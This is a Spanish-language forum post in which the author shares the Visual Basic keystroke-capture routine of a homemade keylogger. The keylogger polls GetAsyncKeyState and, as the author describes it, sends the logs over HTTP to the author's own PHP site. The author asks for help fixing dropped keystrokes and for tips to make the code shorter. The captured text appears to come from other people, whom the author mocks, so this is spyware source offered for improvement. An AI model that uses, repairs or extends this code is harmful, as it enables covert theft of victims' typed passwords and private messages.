desde hace tiempo empeze un proyectillo para hacer un keylogger lo mas perfecto posible... despues de varias semanas, me doy por vencidoOo!.
El keylogger manda los logs via http a mi sitio php, pero algo okurre dentro del keylogger que los logs llegan mal!, llegan con palabras cortadas, algo asi:
Citar
knda
Donde kisieron decir "que Onda"
Jejeje.
Citar
en
dhuoe e madba ar
No se que kisieron decir! jajajaja...dhuoe e madba ar
mi keylogger no esta basado en Hooks, no los uso pke no los comprendo muy bien... y pke al mandar los logs por medio del iexplore no puedo meter simbolos raros como "&" "/" "%" y otroOos por el estiloOo!
entonces uso
"GetAsyncKeyState"
y por ejemplo para llamar las teclas uso esto:
Código:
For i = Asc("A") To Asc("Z")
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & LCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & UCase(Chr(i))
Exit Sub
End If
Else
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & UCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & LCase(Chr(i))
Exit Sub
End If
End If
End If
Next
For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i)
Exit Sub
Else
Text1 = Text1 & Chr(i)
Exit Sub
End If
End If
Next
For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
End If
Next
For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
End If
Next
For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
Next
If GetAsyncKeyState(8) = -32767 Then
TypeWindow
If (Right(Text1, 1) = " ") Then GoTo nod
tip = Len(Text1) - 1
Text1 = Left(Text1, tip)
nod:
End If
If GetAsyncKeyState(9) = -32767 Then
TypeWindow
Text1 = Text1 & "[Tab]"
End If
If GetAsyncKeyState(13) = -32767 Then
Text1 = Text1 & "<br>"
End If
If GetAsyncKeyState(17) = -32767 Then
Text1 = Text1 & "[Ctrl]"
End If
If GetAsyncKeyState(18) = -32767 Then
Text1 = Text1 & "[Alt]"
End If
If GetAsyncKeyState(19) = -32767 Then
Text1 = Text1 & "[Pausa]"
End If
If GetAsyncKeyState(20) = -32767 Then
Text1 = Text1 & "[Mayús]"
End If
If GetAsyncKeyState(27) = -32767 Then
Text1 = Text1 & "[Esc]"
End If
If GetAsyncKeyState(32) = -32767 Then
Text1 = Text1 & " "
End If
If GetAsyncKeyState(37) = -32767 Then
Text1 = Text1 & "[<-]"
End If
If GetAsyncKeyState(38) = -32767 Then
Text1 = Text1 & "[Up]"
End If
If GetAsyncKeyState(39) = -32767 Then
Text1 = Text1 & "[->]"
End If
If GetAsyncKeyState(40) = -32767 Then
Text1 = Text1 & "[Down]"
End If
If GetAsyncKeyState(44) = -32767 Then
Text1 = Text1 & "[Print]"
End If
If GetAsyncKeyState(91) = -32767 Then
Text1 = Text1 & "[Win]"
End If
If GetAsyncKeyState(92) = -32767 Then
Text1 = Text1 & "[Win]"
End If
If GetAsyncKeyState(93) = -32767 Then
Text1 = Text1 & "[Pps]"
End If
If GetAsyncKeyState(112) = -32767 Then
Text1 = Text1 & "[F1]"
End If
If GetAsyncKeyState(113) = -32767 Then
Text1 = Text1 & "[F2]"
End If
If GetAsyncKeyState(114) = -32767 Then
Text1 = Text1 & "[F3]"
End If
If GetAsyncKeyState(115) = -32767 Then
Text1 = Text1 & "[F4]"
End If
If GetAsyncKeyState(116) = -32767 Then
Text1 = Text1 & "[F5]"
End If
If GetAsyncKeyState(117) = -32767 Then
Text1 = Text1 & "[F6]"
End If
If GetAsyncKeyState(118) = -32767 Then
Text1 = Text1 & "[F7]"
End If
If GetAsyncKeyState(119) = -32767 Then
Text1 = Text1 & "[F8]"
End If
If GetAsyncKeyState(120) = -32767 Then
Text1 = Text1 & "[F9]"
End If
If GetAsyncKeyState(121) = -32767 Then
Text1 = Text1 & "[F10]"
End If
If GetAsyncKeyState(122) = -32767 Then
Text1 = Text1 & "[F11]"
End If
If GetAsyncKeyState(123) = -32767 Then
Text1 = Text1 & "[F12]"
End If
If GetAsyncKeyState(145) = -32767 Then
Text1 = Text1 & "[Desp]"
End If
If GetAsyncKeyState(144) = -32767 Then
Text1 = Text1 & "[Num]"
End If
For i = 45 To 46
If GetAsyncKeyState(i) = -32767 Then
Text1 = Text1 & ChangeChr(i)
End If
Next
For i = 33 To 36
If GetAsyncKeyState(i) = -32767 Then
Text1 = Text1 & ChangeChr(i)
End If
Next
End Sub
Mi teoria es que... al ser tanto kodigoOo el programa no tiene tiempo de revisar que tecla es, y en el intento de la buskeda se pierde de la tecla siguiente...
Estoy bien?
Existe algun metodo para hacer mas pekeño este kodigoOo?
o algun consejillo por ahi?
Gracias!
Espero su respuesta >.<